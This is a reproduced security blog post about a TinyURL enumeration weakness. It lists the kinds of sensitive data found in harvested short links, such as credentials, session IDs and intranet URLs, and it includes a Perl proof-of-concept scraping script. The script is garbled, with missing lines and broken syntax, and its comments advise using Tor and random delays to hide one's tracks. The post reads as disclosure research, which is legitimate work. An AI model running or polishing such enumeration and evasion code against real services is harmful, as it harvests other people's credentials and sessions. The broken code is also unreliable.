Internet SecurityProtect Your Information

Unauthorized TinyURL URL Enumeration Vulnerability

I am sure everyone has heard and used TinyUrl before. If you don’t know, TinyURL is kind of a web service that provides short aliases for easy redirection to long urls. The service is completely free and hence most people are tempted to use it. It solves the hard problem of remembering overly long urls.

There have been security vulnerabilities reported in TinyURL in the past, one of them is discussed by security researchers Pdp and Kuza55 here and here.

I would like to discuss another vulnerability here. I see an authorization issue with the way these user generated urls are accessible to anyone. Anyone can write a simple automated script to enumerate a large set of urls. The proof of concept code is shown below. I ran this script for a short while and was amused to see the amount of sensitive personal information that people unknowingly left in the URLs.

Some of the things I found include

  1. Username and Passwords in URLs : Weak web apps using credentials in GET still exist.
  2. Intranet URLs of Giant Corporations : Internal apps are generally not written with security in mind (fallible employee trust rule). Also, I see many urls that refer to internal company projects, bug databases, etc.
  3. Session ID in URLs : Many apps still pass session identifier as part of url. If the session identifier is active, your session can be easily hijacked.
  4. Spam URLs : This has been discussed many times in different places. Examples here and here.
  5. Resource Enumeration: I haven’t verified this, but definitely see it as a problem. If the resource pointed by the url is not protected by proper access controls, then an attacker can easily access it. Attacker does not need to guess the overly long url.

Download POF Code here. Use this code at your own risk.

01.#TinyURL URL Enumeration Script
02.#By Inferno {at}
04.use IO::Handle;
05.use LWP::UserAgent;
06.use Time::HiRes qw( sleep );
07. $ua = LWP::UserAgent->new;
11.#If you want to use Tor to protect your identity.
12.#$ua->proxy(['http'], '');
13. $nd="";      # Length of ID $num="";     # Value of ID $url="";     # TinyURL Redirection Script Call $content=""# HTTP Response from Redirection $temp="";    # Temporary Variable
19. FILE, ">>:utf8""tinyurl.out" or die("Cannot open file for output");
23.# Pick up a random ID length and value
32.$temp="Processing ".$num."\n";
33.syswrite(STDOUT, $templength($temp));
35.# Construct the TinyURL Redirection URL
37. $request = new HTTP::Request("GET"$url); $response $ua->request($request);
42.# Check if a Location Header is present & write the URL.
43.if($content =~ m/(Location\: )(.*)/i)
45.$temp=$num." ".$2."\n";
46.syswrite(FILE, $templength($temp));
49.#Use this if you want to hide you tracks with a random delay
52.close (FILE);
53.exit 0; 


NOTE: The owners of did not produce this content, nor own the copyright to this content. This content has been reproduced in it’s original form to preserve the knowledge contained within. If you are the original owner of this content and want it attributed to your website or it altered in any way, please complete the contact form and we will edit it immediately.

Previous post

There is no more story.

Internet Explorer Browser
Next post

Exploiting IE8 UTF-7 XSS Vulnerability using Local Redirection